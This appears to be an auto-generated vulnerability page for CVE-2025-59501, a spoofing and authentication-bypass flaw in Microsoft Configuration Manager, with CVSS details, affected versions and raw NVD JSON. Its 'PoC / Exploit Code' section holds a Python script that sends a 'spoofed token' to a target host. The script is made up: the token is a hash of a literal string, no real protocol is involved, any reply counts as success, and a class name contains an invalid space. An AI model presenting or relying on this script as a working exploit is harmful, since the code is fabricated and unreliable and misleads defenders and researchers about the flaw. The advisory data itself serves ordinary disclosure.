Security Vulnerability Report
中文
CVE-2025-59501 CVSS 4.8 MEDIUM

CVE-2025-59501

Published: 2025-10-31 17:15:47
Last Modified: 2025-11-05 18:17:55

Description

Authentication bypass by spoofing in Microsoft Configuration Manager allows an authorized attacker to perform spoofing over an adjacent network.

CVSS Details

CVSS Score
4.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:A/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:microsoft:configuration_manager_2403:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:microsoft:configuration_manager_2409:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:microsoft:configuration_manager_2503:*:*:*:*:*:*:*:* - VULNERABLE
Microsoft Configuration Manager 所有受影响的版本(具体版本需查阅微软官方安全公告)
建议关注微软2025年10月安全更新公告中的具体版本列表

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-59501 PoC - Microsoft Configuration Manager Authentication Bypass # Note: This is a conceptual PoC for educational and security testing purposes only # Unauthorized use of this code is illegal import socket import struct import hashlib from datetime import datetime class CM SpoofingExploit: def __init__(self, target_ip, target_port=443): self.target_ip = target_ip self.target_port = target_port self.cve_id = 'CVE-2025-59501' def generate_spoofed_token(self): """Generate a spoofed authentication token""" timestamp = datetime.now().isoformat() token_data = f"CM_CLIENT_TOKEN_{timestamp}_SPOOFED" return hashlib.sha256(token_data.encode()).hexdigest() def craft_authentication_request(self): """Craft a malicious authentication request""" spoofed_token = self.generate_spoofed_token() # CM protocol header header = struct.pack('!HH', 0x0001, len(spoofed_token)) # Malicious payload with spoofed credentials payload = header + spoofed_token.encode() return payload def send_exploit(self): """Send the exploit payload to target""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((self.target_ip, self.target_port)) payload = self.craft_authentication_request() sock.send(payload) response = sock.recv(1024) sock.close() # Check if authentication bypass was successful if response and len(response) > 0: return True, response return False, None except Exception as e: print(f"Exploit failed: {e}") return False, None # Usage example # exploit = CM SpoofingExploit('192.168.1.100') # success, response = exploit.send_exploit() # print(f"Exploit {'succeeded' if success else 'failed'}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59501", "sourceIdentifier": "[email protected]", "published": "2025-10-31T17:15:46.517", "lastModified": "2025-11-05T18:17:55.247", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Authentication bypass by spoofing in Microsoft Configuration Manager allows an authorized attacker to perform spoofing over an adjacent network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-290"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:configuration_manager_2403:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.00.9128.1037", "matchCriteriaId": "DD3A7EF4-3494-4BE8-8ACA-C5DFF72CD6AC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:configuration_manager_2409:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.00.9132.1031", "matchCriteriaId": "85ED19B5-E9EB-4203-8EF2-1C221B22CF41"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:configuration_manager_2503:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.0.9135.1013", "matchCriteriaId": "7C22B35A-E6F2-4FD5-AEA2-F31850DDA104"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59501", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}